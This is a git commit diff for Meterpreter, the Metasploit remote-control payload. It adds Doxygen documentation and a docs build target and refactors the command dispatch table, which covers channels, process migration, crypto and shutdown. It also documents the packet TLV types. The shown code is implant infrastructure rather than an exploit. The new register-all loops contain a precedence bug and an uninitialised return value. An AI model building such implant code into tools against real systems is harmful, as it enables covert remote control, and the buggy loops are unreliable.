Add doxygen, begin documenting, kitrap0d tidy
* Added the doxygen binaries and configuration. * Added a `make docs` which generates documentation to the `docs` folder. * Added some documentation to various areas of the source that I was working with. Over time I'll be adding more and more rather than trying to do it all in one hit. * Refactored the kitrap0d code a bit to try to reduce code size.
This commit is contained in:
parent
2d96468969
commit
08793782d1
|
@ -40,3 +40,6 @@ source/jpeg-8/Backup/*
|
|||
|
||||
# other VS garbage
|
||||
*.*proj.filters
|
||||
|
||||
# Doxygen output
|
||||
docs/*
|
||||
|
|
Binary file not shown.
After Width: | Height: | Size: 4.3 KiB |
File diff suppressed because it is too large
Load Diff
|
@ -1,6 +1,25 @@
|
|||
@ECHO OFF
|
||||
IF "%1"=="clean" GOTO CLEAN
|
||||
IF "%VCINSTALLDIR%" == "" GOTO NEED_VS
|
||||
IF "%1"=="docs" GOTO DOCS
|
||||
IF "%VCINSTALLDIR%" == "" (
|
||||
ECHO "VC++ Environment not found, attempting to locate..."
|
||||
REM Attempt to load up the dev env variables if they're not
|
||||
REM set, saves people doing it manually
|
||||
SET SETUP="Microsoft Visual Studio 11.0\Common7\Tools\vsvars32.bat"
|
||||
IF EXIST "%ProgramFiles%\%SETUP%" (
|
||||
ECHO "Found at '%ProgramFiles%\%SETUP%'"
|
||||
"%ProgramFiles%\%SETUP%"
|
||||
)
|
||||
|
||||
IF EXIST "%ProgramFiles(x86)%\%SETUP%" (
|
||||
ECHO "Found at '%ProgramFiles(x86)%\%SETUP%'"
|
||||
"%ProgramFiles(x86)%\%SETUP%"
|
||||
)
|
||||
|
||||
REM If we still don't have what we need, then throw an error
|
||||
IF "%VCINSTALLDIR%" == "" GOTO NEED_VS
|
||||
)
|
||||
|
||||
SET PREF=
|
||||
IF EXIST "..\pssdk\" SET PREF=r7_
|
||||
|
||||
|
@ -37,6 +56,10 @@ IF EXIST "output\x64\" (
|
|||
)
|
||||
GOTO :END
|
||||
|
||||
:DOCS
|
||||
tools\doxygen\doxygen.exe doxygen.cnf
|
||||
GOTO :END
|
||||
|
||||
:NEED_VS
|
||||
ECHO "This command must be executed from within a Visual Studio Command prompt."
|
||||
ECHO "This can be found under Microsoft Visual Studio 2012 -> Visual Studio Tools"
|
||||
|
|
|
@ -35,15 +35,14 @@ DWORD remote_response_core_console_write(Remote *remote, Packet *packet)
|
|||
}
|
||||
|
||||
|
||||
|
||||
/*
|
||||
* Base RPC dispatch table
|
||||
/*!
|
||||
* @brief Base RPC dispatch table.
|
||||
*/
|
||||
Command commands[] =
|
||||
{
|
||||
/*
|
||||
* Core commands
|
||||
*/
|
||||
* Core commands
|
||||
*/
|
||||
|
||||
// Console commands
|
||||
{ "core_console_write",
|
||||
|
@ -52,74 +51,53 @@ Command commands[] =
|
|||
},
|
||||
|
||||
// Native Channel commands
|
||||
{ "core_channel_open",
|
||||
{ remote_request_core_channel_open, { 0 }, 0 },
|
||||
{ remote_response_core_channel_open, { 0 }, 0 },
|
||||
},
|
||||
{ "core_channel_write",
|
||||
{ remote_request_core_channel_write, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "core_channel_close",
|
||||
{ remote_request_core_channel_close, { 0 }, 0 },
|
||||
{ remote_response_core_channel_close, { 0 }, 0 },
|
||||
},
|
||||
|
||||
COMMAND_REQ_REP( "core_channel_open", remote_request_core_channel_open, remote_response_core_channel_open ),
|
||||
COMMAND_REQ( "core_channel_write", remote_request_core_channel_write ),
|
||||
COMMAND_REQ_REP( "core_channel_close", remote_request_core_channel_close, remote_response_core_channel_close ),
|
||||
// Buffered/Pool channel commands
|
||||
{ "core_channel_read",
|
||||
{ remote_request_core_channel_read, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "core_channel_read", remote_request_core_channel_read ),
|
||||
// Pool channel commands
|
||||
{ "core_channel_seek",
|
||||
{ remote_request_core_channel_seek, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "core_channel_eof",
|
||||
{ remote_request_core_channel_eof, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "core_channel_tell",
|
||||
{ remote_request_core_channel_tell, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
COMMAND_REQ( "core_channel_seek", remote_request_core_channel_seek ),
|
||||
COMMAND_REQ( "core_channel_eof", remote_request_core_channel_eof ),
|
||||
COMMAND_REQ( "core_channel_tell", remote_request_core_channel_tell ),
|
||||
// Soon to be deprecated
|
||||
{ "core_channel_interact",
|
||||
{ remote_request_core_channel_interact, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
COMMAND_REQ( "core_channel_interact", remote_request_core_channel_interact ),
|
||||
// Crypto
|
||||
{ "core_crypto_negotiate",
|
||||
{ remote_request_core_crypto_negotiate, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
COMMAND_REQ( "core_crypto_negotiate", remote_request_core_crypto_negotiate ),
|
||||
// Migration
|
||||
{ "core_migrate",
|
||||
{ remote_request_core_migrate, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
COMMAND_REQ( "core_migrate", remote_request_core_migrate ),
|
||||
// Shutdown
|
||||
{ "core_shutdown",
|
||||
{ remote_request_core_shutdown, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
COMMAND_REQ( "core_shutdown", remote_request_core_shutdown ),
|
||||
// Terminator
|
||||
{ NULL,
|
||||
{ NULL, { 0 }, 0 },
|
||||
{ NULL, { 0 }, 0 },
|
||||
},
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
// Dynamically registered command extensions
|
||||
Command *extension_commands = NULL;
|
||||
|
||||
/*
|
||||
* Dynamically register a custom command handler
|
||||
/*!
|
||||
* @brief Register a full list of commands with meterpreter.
|
||||
* @param commands The array of commands that are to be registered for the module/extension.
|
||||
* @return `ERROR_SUCCESS` when all commands register successfully, otherwise return the error.
|
||||
*/
|
||||
DWORD command_register_all(Command commands[])
|
||||
{
|
||||
DWORD index;
|
||||
DWORD result;
|
||||
|
||||
for (index = 0; commands[index].method; index++)
|
||||
{
|
||||
if( result = command_register(&commands[index]) != ERROR_SUCCESS )
|
||||
break;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Dynamically register a custom command handler
|
||||
* @param command Pointer to the command that should be registered.
|
||||
* @return `ERROR_SUCCESS` when command registers successfully, otherwise returns the error.
|
||||
*/
|
||||
DWORD command_register(Command *command)
|
||||
{
|
||||
|
@ -139,24 +117,45 @@ DWORD command_register(Command *command)
|
|||
dprintf("Fixing next/prev...");
|
||||
newCommand->next = extension_commands;
|
||||
newCommand->prev = NULL;
|
||||
extension_commands = newCommand;
|
||||
extension_commands = newCommand;
|
||||
|
||||
dprintf("Done...");
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Dynamically deregister a custom command handler
|
||||
/*!
|
||||
* @brief Deregister a full list of commands from meterpreter.
|
||||
* @param commands The array of commands that are to be deregistered from the module/extension.
|
||||
* @return `ERROR_SUCCESS` when all commands deregister successfully, otherwise return the error.
|
||||
*/
|
||||
DWORD command_deregister_all(Command commands[])
|
||||
{
|
||||
DWORD index;
|
||||
DWORD result;
|
||||
|
||||
for (index = 0; commands[index].method; index++)
|
||||
{
|
||||
if( result = command_deregister(&commands[index]) != ERROR_SUCCESS )
|
||||
break;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Dynamically deregister a custom command handler
|
||||
* @param command Pointer to the command that should be deregistered.
|
||||
* @return `ERROR_SUCCESS` when command deregisters successfully, otherwise returns the error.
|
||||
*/
|
||||
DWORD command_deregister(Command *command)
|
||||
{
|
||||
Command *current, *prev;
|
||||
DWORD res = ERROR_NOT_FOUND;
|
||||
|
||||
|
||||
// Search the extension list for the command
|
||||
for (current = extension_commands, prev = NULL;
|
||||
current;
|
||||
prev = current, current = current->next)
|
||||
current;
|
||||
prev = current, current = current->next)
|
||||
{
|
||||
if (strcmp(command->method, current->method))
|
||||
continue;
|
||||
|
@ -171,7 +170,7 @@ DWORD command_deregister(Command *command)
|
|||
|
||||
// Deallocate it
|
||||
free(current);
|
||||
|
||||
|
||||
res = ERROR_SUCCESS;
|
||||
|
||||
break;
|
||||
|
@ -181,13 +180,13 @@ DWORD command_deregister(Command *command)
|
|||
}
|
||||
|
||||
/*
|
||||
* A list of all command threads currenlty executing.
|
||||
*/
|
||||
* A list of all command threads currenlty executing.
|
||||
*/
|
||||
LIST * commandThreadList = NULL;
|
||||
|
||||
/*
|
||||
* Block untill all running command threads have finished.
|
||||
*/
|
||||
* Block untill all running command threads have finished.
|
||||
*/
|
||||
VOID command_join_threads( VOID )
|
||||
{
|
||||
while( list_count( commandThreadList ) > 0 )
|
||||
|
@ -199,25 +198,25 @@ VOID command_join_threads( VOID )
|
|||
}
|
||||
|
||||
/*
|
||||
* Crude method of throttling the ammount of concurrent command
|
||||
* threads we allow in the system at a given time.
|
||||
*/
|
||||
* Crude method of throttling the ammount of concurrent command
|
||||
* threads we allow in the system at a given time.
|
||||
*/
|
||||
/*
|
||||
VOID command_throtle( int maxthreads )
|
||||
{
|
||||
while( list_count( commandThreadList ) >= maxthreads )
|
||||
{
|
||||
Sleep( 250 );
|
||||
}
|
||||
while( list_count( commandThreadList ) >= maxthreads )
|
||||
{
|
||||
Sleep( 250 );
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
#ifndef _WIN32
|
||||
/*
|
||||
* Reap child zombie threads on linux 2.4 (before NPTL)
|
||||
* each thread appears as a process and pthread_join don't necessarily reap it
|
||||
* threads are created using the clone syscall, so use special __WCLONE flag in waitpid
|
||||
*/
|
||||
* Reap child zombie threads on linux 2.4 (before NPTL)
|
||||
* each thread appears as a process and pthread_join don't necessarily reap it
|
||||
* threads are created using the clone syscall, so use special __WCLONE flag in waitpid
|
||||
*/
|
||||
|
||||
VOID reap_zombie_thread(void * param)
|
||||
{
|
||||
|
@ -230,8 +229,8 @@ VOID reap_zombie_thread(void * param)
|
|||
#endif
|
||||
|
||||
/*
|
||||
* Process a single command in a seperate thread of execution.
|
||||
*/
|
||||
* Process a single command in a seperate thread of execution.
|
||||
*/
|
||||
DWORD THREADCALL command_process_thread( THREAD * thread )
|
||||
{
|
||||
DWORD index = 0;
|
||||
|
@ -243,14 +242,14 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
|
|||
Command * current = NULL;
|
||||
Remote * remote = NULL;
|
||||
Packet * packet = NULL;
|
||||
|
||||
|
||||
if( thread == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
remote = (Remote *)thread->parameter1;
|
||||
if( remote == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
|
||||
packet = (Packet *)thread->parameter2;
|
||||
if( packet == NULL )
|
||||
return ERROR_INVALID_DATA;
|
||||
|
@ -289,7 +288,7 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
|
|||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
// Get the request identifier if the packet has one.
|
||||
result = packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv );
|
||||
if( result == ERROR_SUCCESS )
|
||||
|
@ -311,11 +310,11 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
|
|||
|
||||
// Regardless of error code, try to see if someone has overriden a base handler
|
||||
for( current = extension_commands, result = ERROR_NOT_FOUND ;
|
||||
result == ERROR_NOT_FOUND && current && current->method ; current = current->next )
|
||||
result == ERROR_NOT_FOUND && current && current->method ; current = current->next )
|
||||
{
|
||||
if( strcmp( current->method, method ) )
|
||||
continue;
|
||||
|
||||
|
||||
// Call the custom handler
|
||||
result = command_call_dispatch( current, remote, packet );
|
||||
}
|
||||
|
@ -327,7 +326,7 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
|
|||
|
||||
// If we get here, we're successful.
|
||||
result = ERROR_SUCCESS;
|
||||
|
||||
|
||||
} while( 0 );
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
|
@ -452,7 +451,7 @@ DWORD command_process_remote_loop(Remote *remote)
|
|||
/*
|
||||
* Call the dispatch routine for a given command
|
||||
*/
|
||||
DWORD command_call_dispatch(Command *command, Remote *remote, Packet *packet)
|
||||
DWORD command_call_dispatch(Command *command, Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD res;
|
||||
|
||||
|
@ -463,27 +462,27 @@ DWORD command_call_dispatch(Command *command, Remote *remote, Packet *packet)
|
|||
|
||||
switch (packet_get_type(packet))
|
||||
{
|
||||
case PACKET_TLV_TYPE_REQUEST:
|
||||
case PACKET_TLV_TYPE_PLAIN_REQUEST:
|
||||
if (command->request.handler)
|
||||
res = command->request.handler(remote, packet);
|
||||
break;
|
||||
case PACKET_TLV_TYPE_RESPONSE:
|
||||
case PACKET_TLV_TYPE_PLAIN_RESPONSE:
|
||||
if (command->response.handler)
|
||||
res = command->response.handler(remote, packet);
|
||||
break;
|
||||
default:
|
||||
res = ERROR_NOT_FOUND;
|
||||
break;
|
||||
case PACKET_TLV_TYPE_REQUEST:
|
||||
case PACKET_TLV_TYPE_PLAIN_REQUEST:
|
||||
if (command->request.handler)
|
||||
res = command->request.handler(remote, packet);
|
||||
break;
|
||||
case PACKET_TLV_TYPE_RESPONSE:
|
||||
case PACKET_TLV_TYPE_PLAIN_RESPONSE:
|
||||
if (command->response.handler)
|
||||
res = command->response.handler(remote, packet);
|
||||
break;
|
||||
default:
|
||||
res = ERROR_NOT_FOUND;
|
||||
break;
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* Validate command arguments
|
||||
*/
|
||||
* Validate command arguments
|
||||
*/
|
||||
DWORD command_validate_arguments(Command *command, Packet *packet)
|
||||
{
|
||||
PacketDispatcher *dispatcher = NULL;
|
||||
|
@ -494,23 +493,23 @@ DWORD command_validate_arguments(Command *command, Packet *packet)
|
|||
|
||||
// Select the dispatcher table
|
||||
if ((type == PACKET_TLV_TYPE_RESPONSE) ||
|
||||
(type == PACKET_TLV_TYPE_PLAIN_RESPONSE))
|
||||
(type == PACKET_TLV_TYPE_PLAIN_RESPONSE))
|
||||
dispatcher = &command->response;
|
||||
else
|
||||
dispatcher = &command->request;
|
||||
|
||||
// Enumerate the arguments, validating the meta types of each
|
||||
for (commandIndex = 0, packetIndex = 0;
|
||||
((packet_enum_tlv(packet, packetIndex, TLV_TYPE_ANY, ¤t)
|
||||
== ERROR_SUCCESS) &&
|
||||
(res == ERROR_SUCCESS));
|
||||
commandIndex++, packetIndex++)
|
||||
((packet_enum_tlv(packet, packetIndex, TLV_TYPE_ANY, ¤t)
|
||||
== ERROR_SUCCESS) &&
|
||||
(res == ERROR_SUCCESS));
|
||||
commandIndex++, packetIndex++)
|
||||
{
|
||||
TlvMetaType tlvMetaType;
|
||||
|
||||
// Check to see if we've reached the end of the command arguments
|
||||
if ((dispatcher->numArgumentTypes) &&
|
||||
(commandIndex == (dispatcher->numArgumentTypes & ARGUMENT_FLAG_MASK)))
|
||||
(commandIndex == (dispatcher->numArgumentTypes & ARGUMENT_FLAG_MASK)))
|
||||
{
|
||||
// If the repeat flag is set, reset the index
|
||||
if (commandIndex & ARGUMENT_FLAG_REPEAT)
|
||||
|
@ -518,23 +517,23 @@ DWORD command_validate_arguments(Command *command, Packet *packet)
|
|||
else
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
// Make sure the argument is at least one of the meta types
|
||||
tlvMetaType = packet_get_tlv_meta(packet, ¤t);
|
||||
|
||||
// Validate argument meta types
|
||||
switch (tlvMetaType)
|
||||
{
|
||||
case TLV_META_TYPE_STRING:
|
||||
if (packet_is_tlv_null_terminated(packet, ¤t) != ERROR_SUCCESS)
|
||||
res = ERROR_INVALID_PARAMETER;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
case TLV_META_TYPE_STRING:
|
||||
if (packet_is_tlv_null_terminated(packet, ¤t) != ERROR_SUCCESS)
|
||||
res = ERROR_INVALID_PARAMETER;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
if ((res != ERROR_SUCCESS) &&
|
||||
(commandIndex < dispatcher->numArgumentTypes))
|
||||
(commandIndex < dispatcher->numArgumentTypes))
|
||||
break;
|
||||
}
|
||||
|
||||
|
|
|
@ -14,8 +14,11 @@ typedef DWORD (*DISPATCH_ROUTINE)(Remote *remote, Packet *packet);
|
|||
#define ARGUMENT_FLAG_REPEAT (1 << 28)
|
||||
#define ARGUMENT_FLAG_MASK 0x0fffffff
|
||||
|
||||
// Blank dispatch handler
|
||||
#define EMPTY_DISPATCH_HANDLER NULL, { 0 }, 0
|
||||
#define COMMAND_TERMINATOR { NULL, { EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER } }
|
||||
#define COMMAND_REQ(name, reqHandler) { name, { reqHandler, { 0 }, 0 }, { EMPTY_DISPATCH_HANDLER } }
|
||||
#define COMMAND_REP(name, repHandler) { name, { EMPTY_DISPATCH_HANDLER }, { repHandler, { 0 }, 0 } }
|
||||
#define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, { 0 }, 0 }, { repHandler, { 0 }, 0 } }
|
||||
|
||||
// Place holders
|
||||
#define EXPORT_TABLE_BEGIN()
|
||||
|
@ -40,6 +43,8 @@ typedef struct command
|
|||
struct command *prev;
|
||||
} Command;
|
||||
|
||||
LINKAGE DWORD command_register_all(Command commands[]);
|
||||
LINKAGE DWORD command_deregister_all(Command commands[]);
|
||||
LINKAGE DWORD command_register(Command *command);
|
||||
LINKAGE DWORD command_deregister(Command *command);
|
||||
|
||||
|
|
|
@ -1,8 +1,15 @@
|
|||
/*!
|
||||
* @file common.c
|
||||
* @brief Definitions for various common components used across the Meterpreter suite.
|
||||
*/
|
||||
#include "common.h"
|
||||
|
||||
|
||||
#ifdef _WIN32
|
||||
// This function returns a unix timestamp in UTC
|
||||
/*!
|
||||
* @brief Returns a unix timestamp in UTC.
|
||||
* @return Integer value representing the UTC Unix timestamp of the current time.
|
||||
*/
|
||||
int current_unix_timestamp(void) {
|
||||
SYSTEMTIME system_time;
|
||||
FILETIME file_time;
|
||||
|
@ -19,7 +26,10 @@ int current_unix_timestamp(void) {
|
|||
|
||||
#include <sys/time.h>
|
||||
|
||||
// This function returns a unix timestamp in UTC
|
||||
/*!
|
||||
* @brief Returns a unix timestamp in UTC.
|
||||
* @return Integer value representing the UTC Unix timestamp of the current time.
|
||||
*/
|
||||
int current_unix_timestamp(void) {
|
||||
struct timeval tv;
|
||||
struct timezone tz;
|
||||
|
@ -37,10 +47,15 @@ int current_unix_timestamp(void) {
|
|||
int debugging_enabled;
|
||||
|
||||
/*
|
||||
* If we supply real_dprintf in the common.h, each .o file will have a private copy of that symbol.
|
||||
* This leads to bloat. Defining it here means that there will only be a single implementation of it.
|
||||
*/
|
||||
|
||||
/*!
|
||||
* @brief Output a debug string to the debug console.
|
||||
* @details The function emits debug strings via `OutputDebugStringA`, hence all messages can be viewed
|
||||
* using Visual Studio's _Output_ window, _DebugView_ from _SysInternals_, or _Windbg_.
|
||||
* @remark If we supply real_dprintf in the common.h, each .o file will have a private copy of that symbol.
|
||||
* This leads to bloat. Defining it here means that there will only be a single implementation of it.
|
||||
*/
|
||||
void real_dprintf(char *filename, int line, const char *function, char *format, ...)
|
||||
{
|
||||
va_list args;
|
||||
|
|
|
@ -1,3 +1,7 @@
|
|||
/*!
|
||||
* @file common.h
|
||||
* @brief Declarations for various common components used across the Meterpreter suite.
|
||||
*/
|
||||
#ifndef _METERPRETER_SOURCE_COMMON_COMMON_H
|
||||
#define _METERPRETER_SOURCE_COMMON_COMMON_H
|
||||
|
||||
|
@ -145,17 +149,16 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
|
|||
|
||||
#include "zlib/zlib.h"
|
||||
|
||||
#define METERPRETER_TRANSPORT_SSL 0
|
||||
#define METERPRETER_TRANSPORT_HTTP 1
|
||||
#define METERPRETER_TRANSPORT_HTTPS 2
|
||||
#define METERPRETER_TRANSPORT_SSL 0 ///< Indication that the Meterpreter transport is using SSL.
|
||||
#define METERPRETER_TRANSPORT_HTTP 1 ///< Indication that the Meterpreter transport is using HTTP.
|
||||
#define METERPRETER_TRANSPORT_HTTPS 2 ///< Indication that the Meterpreter transport is using HTTPS.
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
|
||||
#include <wininet.h>
|
||||
|
||||
// Enable debugging
|
||||
//#define DEBUGTRACE 1
|
||||
#define DEBUGTRACE 1 ///< When defined, debug output is enabled.
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||
|
@ -163,15 +166,26 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
|
|||
#define dprintf(...) do{}while(0);
|
||||
#endif
|
||||
|
||||
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `break;` */
|
||||
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||
/*! @brief Sets `dwResult` to `error`, prints debug output, then `break;` */
|
||||
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||
/*! @brief Sets `dwResult` to the return value of `WASGetLastError()`, prints debug output, then does `break;` */
|
||||
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `continue;` */
|
||||
#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); continue; }
|
||||
|
||||
// Simple macros to close a handle and set the handle to NULL.
|
||||
/*! @brief Close a service handle if not already closed and set the handle to NULL. */
|
||||
#define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; }
|
||||
/*! @brief Close a handle if not already closed and set the handle to NULL. */
|
||||
#define CLOSE_HANDLE( h ) if( h ) { DWORD dwHandleFlags; if(GetHandleInformation( h , &dwHandleFlags)) CloseHandle( h ); h = NULL; }
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
/*!
|
||||
* @brief Output a debug string to the debug console.
|
||||
* @details The function emits debug strings via `OutputDebugStringA`, hence all messages can be viewed
|
||||
* using Visual Studio's _Output_ window, _DebugView_ from _SysInternals_, or _Windbg_.
|
||||
*/
|
||||
static void real_dprintf(char *format, ...) {
|
||||
va_list args;
|
||||
char buffer[1024];
|
||||
|
@ -180,6 +194,7 @@ static void real_dprintf(char *format, ...) {
|
|||
strcat_s(buffer, sizeof(buffer), "\r\n");
|
||||
OutputDebugStringA(buffer);
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
|
|
|
@ -1,3 +1,10 @@
|
|||
/*!
|
||||
* @file core.h
|
||||
* @brief Declarations of core components of the Meterpreter suite.
|
||||
* @details Much of what exists in the core files is used in almost every area
|
||||
* of the Meterpreter code base, and hence it's very important. Don't
|
||||
* change this stuff unless you know what you're doing!
|
||||
*/
|
||||
#ifndef _METERPRETER_CORE_H
|
||||
#define _METERPRETER_CORE_H
|
||||
|
||||
|
@ -5,30 +12,45 @@
|
|||
#include "remote.h"
|
||||
#include "list.h"
|
||||
|
||||
/*
|
||||
* Enumerations for TLVs and packets
|
||||
/*!
|
||||
* @brief Creates a new TLV value based on `actual` and `meta` values.
|
||||
*/
|
||||
#define TLV_VALUE(meta, actual) actual | meta
|
||||
/*!
|
||||
* @brief Creates a new custom TVL type.
|
||||
*/
|
||||
#define MAKE_TLV(name, meta, actual) TLV_TYPE_ ## name = actual | meta
|
||||
#define MAKE_CUSTOM_TLV(meta, base, actual) (TlvType)((base + actual) | meta)
|
||||
|
||||
/*!
|
||||
* @brief Enumeration of allowed Packet TLV types.
|
||||
*/
|
||||
typedef enum
|
||||
{
|
||||
PACKET_TLV_TYPE_REQUEST = 0,
|
||||
PACKET_TLV_TYPE_RESPONSE = 1,
|
||||
PACKET_TLV_TYPE_PLAIN_REQUEST = 10,
|
||||
PACKET_TLV_TYPE_PLAIN_RESPONSE = 11,
|
||||
PACKET_TLV_TYPE_REQUEST = 0, ///< Indicates a request packet.
|
||||
PACKET_TLV_TYPE_RESPONSE = 1, ///< Indicates a response packet.
|
||||
PACKET_TLV_TYPE_PLAIN_REQUEST = 10, ///< Indicates a plain request packet.
|
||||
PACKET_TLV_TYPE_PLAIN_RESPONSE = 11, ///< Indicates a plain response packet.
|
||||
} PacketTlvType;
|
||||
|
||||
// Meta argument types, used for validation
|
||||
/*! @brief Meta TLV argument type representing a null value. */
|
||||
#define TLV_META_TYPE_NONE (0 << 0)
|
||||
/*! @brief Meta TLV argument type representing a string value. */
|
||||
#define TLV_META_TYPE_STRING (1 << 16)
|
||||
/*! @brief Meta TLV argument type representing a unsigned integer value. */
|
||||
#define TLV_META_TYPE_UINT (1 << 17)
|
||||
/*! @brief Meta TLV argument type representing a raw data value. */
|
||||
#define TLV_META_TYPE_RAW (1 << 18)
|
||||
/*! @brief Meta TLV argument type representing a boolean value. */
|
||||
#define TLV_META_TYPE_BOOL (1 << 19)
|
||||
/*! @brief Meta TLV argument type representing a quad-word value. */
|
||||
#define TLV_META_TYPE_QWORD (1 << 20)
|
||||
/*! @brief Meta TLV argument type representing a compressed data value. */
|
||||
#define TLV_META_TYPE_COMPRESSED (1 << 29)
|
||||
/*! @brief Meta TLV argument type representing a group value. */
|
||||
#define TLV_META_TYPE_GROUP (1 << 30)
|
||||
/*! @brief Meta TLV argument type representing a nested/complex value. */
|
||||
#define TLV_META_TYPE_COMPLEX (1 << 31)
|
||||
/*! @brief Meta TLV argument type representing a flag set/mask value. */
|
||||
#define TLV_META_TYPE_MASK(x) ((x) & 0xffff0000)
|
||||
|
||||
#define TLV_RESERVED 0
|
||||
|
@ -43,59 +65,63 @@ typedef enum
|
|||
#define CHANNEL_FLAG_SYNCHRONOUS (1 << 0)
|
||||
#define CHANNEL_FLAG_COMPRESS (1 << 1)
|
||||
|
||||
/*! @brief Type definition with defines `TlvMetaType` as an double-word. */
|
||||
typedef DWORD TlvMetaType;
|
||||
|
||||
/*!
|
||||
* @brief Full list of recognised TLV types.
|
||||
*/
|
||||
typedef enum
|
||||
{
|
||||
MAKE_TLV(ANY, TLV_META_TYPE_NONE, 0),
|
||||
MAKE_TLV(METHOD, TLV_META_TYPE_STRING, 1),
|
||||
MAKE_TLV(REQUEST_ID, TLV_META_TYPE_STRING, 2),
|
||||
MAKE_TLV(EXCEPTION, TLV_META_TYPE_GROUP, 3),
|
||||
MAKE_TLV(RESULT, TLV_META_TYPE_UINT, 4),
|
||||
TLV_TYPE_ANY = TLV_VALUE(TLV_META_TYPE_NONE, 0),
|
||||
TLV_TYPE_METHOD = TLV_VALUE(TLV_META_TYPE_STRING, 1),
|
||||
TLV_TYPE_REQUEST_ID = TLV_VALUE(TLV_META_TYPE_STRING, 2),
|
||||
TLV_TYPE_EXCEPTION = TLV_VALUE(TLV_META_TYPE_GROUP, 3),
|
||||
TLV_TYPE_RESULT = TLV_VALUE(TLV_META_TYPE_UINT, 4),
|
||||
|
||||
// Argument basic types
|
||||
MAKE_TLV(STRING, TLV_META_TYPE_STRING, 10),
|
||||
MAKE_TLV(UINT, TLV_META_TYPE_UINT, 11),
|
||||
MAKE_TLV(BOOL, TLV_META_TYPE_BOOL, 12),
|
||||
TLV_TYPE_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 10), ///< Represents a string value.
|
||||
TLV_TYPE_UINT = TLV_VALUE(TLV_META_TYPE_UINT, 11), ///< Represents an unsigned integer value.
|
||||
TLV_TYPE_BOOL = TLV_VALUE(TLV_META_TYPE_BOOL, 12), ///< Represents a boolean value.
|
||||
|
||||
// Extended types
|
||||
MAKE_TLV(LENGTH, TLV_META_TYPE_UINT, 25),
|
||||
MAKE_TLV(DATA, TLV_META_TYPE_RAW, 26),
|
||||
MAKE_TLV(FLAGS, TLV_META_TYPE_UINT, 27),
|
||||
TLV_TYPE_LENGTH = TLV_VALUE(TLV_META_TYPE_UINT, 25), ///< Represents a length (unsigned integer).
|
||||
TLV_TYPE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 26), ///< Represents arbitrary data (raw).
|
||||
TLV_TYPE_FLAGS = TLV_VALUE(TLV_META_TYPE_UINT, 27), ///< Represents a set of flags (unsigned integer).
|
||||
|
||||
// Channel types
|
||||
MAKE_TLV(CHANNEL_ID, TLV_META_TYPE_UINT, 50),
|
||||
MAKE_TLV(CHANNEL_TYPE, TLV_META_TYPE_STRING, 51),
|
||||
MAKE_TLV(CHANNEL_DATA, TLV_META_TYPE_RAW, 52),
|
||||
MAKE_TLV(CHANNEL_DATA_GROUP, TLV_META_TYPE_GROUP, 53),
|
||||
MAKE_TLV(CHANNEL_CLASS, TLV_META_TYPE_UINT, 54),
|
||||
MAKE_TLV(CHANNEL_PARENTID, TLV_META_TYPE_UINT, 55),
|
||||
TLV_TYPE_CHANNEL_ID = TLV_VALUE(TLV_META_TYPE_UINT, 50), ///< Represents a channel identifier (unsigned integer).
|
||||
